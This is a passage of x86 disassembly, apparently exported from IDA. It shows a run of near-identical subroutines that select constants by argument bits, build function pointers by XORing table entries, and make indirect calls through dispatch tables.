		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 3Bh
		mov	[ebp+var_2C], 24h
		mov	[ebp+var_28], 59h
		mov	[ebp+var_24], 11h
		mov	[ebp+var_20], 9Dh
		mov	[ebp+var_1C], 4Dh
		mov	[ebp+var_18], 62h
		mov	[ebp+var_14], 0E5h
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AD6D1
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AD6D1:				; CODE XREF: sub_4AD640+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AD640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AD73D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAD0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7Ch
		mov	[ebp+var_2C], 0D3h
		mov	[ebp+var_28], 7Ah
		mov	[ebp+var_24], 0C7h
		mov	[ebp+var_20], 25h
		mov	[ebp+var_1C], 68h
		mov	[ebp+var_18], 74h
		mov	[ebp+var_14], 0ABh
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AD7CD
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AD7CD:				; CODE XREF: sub_4AD73D+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AD73D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AD839	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAD4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 92h
		mov	[ebp+var_2C], 0F8h
		mov	[ebp+var_28], 36h
		mov	[ebp+var_24], 84h
		mov	[ebp+var_20], 60h
		mov	[ebp+var_1C], 0EBh
		mov	[ebp+var_18], 0F5h
		mov	[ebp+var_14], 16h
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AD8CA
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AD8CA:				; CODE XREF: sub_4AD839+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AD839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AD936	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAD8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 72h
		mov	[ebp+var_2C], 54h
		mov	[ebp+var_28], 23h
		mov	[ebp+var_24], 48h
		mov	[ebp+var_20], 26h
		mov	[ebp+var_1C], 0DEh
		mov	[ebp+var_18], 0CAh
		mov	[ebp+var_14], 97h
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AD9C7
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AD9C7:				; CODE XREF: sub_4AD936+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AD936	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ADA33	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDADCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Bh
		mov	[ebp+var_2C], 0CEh
		mov	[ebp+var_28], 14h
		mov	[ebp+var_24], 47h
		mov	[ebp+var_20], 95h
		mov	[ebp+var_1C], 0A1h
		mov	[ebp+var_18], 42h
		mov	[ebp+var_14], 0D0h
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ADAC4
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ADAC4:				; CODE XREF: sub_4ADA33+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ADA33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ADB30	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAE0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 97h
		mov	[ebp+var_2C], 0F7h
		mov	[ebp+var_28], 6Ch
		mov	[ebp+var_24], 0A9h
		mov	[ebp+var_20], 0Bh
		mov	[ebp+var_1C], 4Ch
		mov	[ebp+var_18], 2Ch
		mov	[ebp+var_14], 0D4h
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ADBC1
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ADBC1:				; CODE XREF: sub_4ADB30+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ADB30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ADC2D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAE4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 54h
		mov	[ebp+var_2C], 23h
		mov	[ebp+var_28], 4Fh
		mov	[ebp+var_24], 3
		mov	[ebp+var_20], 7
		mov	[ebp+var_1C], 65h
		mov	[ebp+var_18], 36h
		mov	[ebp+var_14], 6Ch
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ch
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ADCBE
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ADCBE:				; CODE XREF: sub_4ADC2D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ADC2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ADD2A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAE8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 51h
		mov	[ebp+var_2C], 5Bh
		mov	[ebp+var_28], 3Dh
		mov	[ebp+var_24], 54h
		mov	[ebp+var_20], 3Eh
		mov	[ebp+var_1C], 6Ch
		mov	[ebp+var_18], 3Fh
		mov	[ebp+var_14], 38h
		mov	[ebp+var_10], 15h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 15h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ADDBB
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ADDBB:				; CODE XREF: sub_4ADD2A+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ADD2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ADE27	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAECo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0BFh
		mov	[ebp+var_2C], 3Eh
		mov	[ebp+var_28], 0D4h
		mov	[ebp+var_24], 0Ah
		mov	[ebp+var_20], 0C0h
		mov	[ebp+var_1C], 5Dh
		mov	[ebp+var_18], 0A0h
		mov	[ebp+var_14], 11h
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ADEB8
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ADEB8:				; CODE XREF: sub_4ADE27+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ADE27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ADF24	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAF0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 59h
		mov	[ebp+var_2C], 4Dh
		mov	[ebp+var_28], 0E9h
		mov	[ebp+var_24], 0ACh
		mov	[ebp+var_20], 6
		mov	[ebp+var_1C], 84h
		mov	[ebp+var_18], 4
		mov	[ebp+var_14], 0C2h
		mov	[ebp+var_10], 5
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 5
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ADFB5
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ADFB5:				; CODE XREF: sub_4ADF24+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ADF24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AE021	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAF4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0A9h
		mov	[ebp+var_2C], 75h
		mov	[ebp+var_28], 0C0h
		mov	[ebp+var_24], 64h
		mov	[ebp+var_20], 6Bh
		mov	[ebp+var_1C], 0A6h
		mov	[ebp+var_18], 16h
		mov	[ebp+var_14], 0BEh
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AE0B2
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AE0B2:				; CODE XREF: sub_4AE021+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
